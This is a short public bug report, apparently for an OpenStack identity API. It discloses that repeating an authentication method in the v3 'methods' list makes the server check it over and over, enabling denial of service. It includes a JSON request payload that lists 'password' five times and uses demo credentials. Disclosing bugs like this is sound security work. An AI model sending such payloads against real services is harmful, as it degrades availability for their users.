Public bug reported:

In V3.0 API,  we can chain authentication methods. An attacker can place
the same authentication method multiple times in the methods filed. This
will result in the same authentication method checking over and over
(for loop in code).  Using this, an attacker can achieve some sorts of
Denial of Service.   The methods field is not properly sanitized.

{
   "auth":{
      "identity":{
         "methods":[
            "password",
            "password",
             "password",
             "password",
             "password" 
         ],
        "password":{
            "user":{
               "domain":{
                  "id":"default"
               },
               "name":"demo",
               "password":"stack"
            }
         }
      }
   }
}
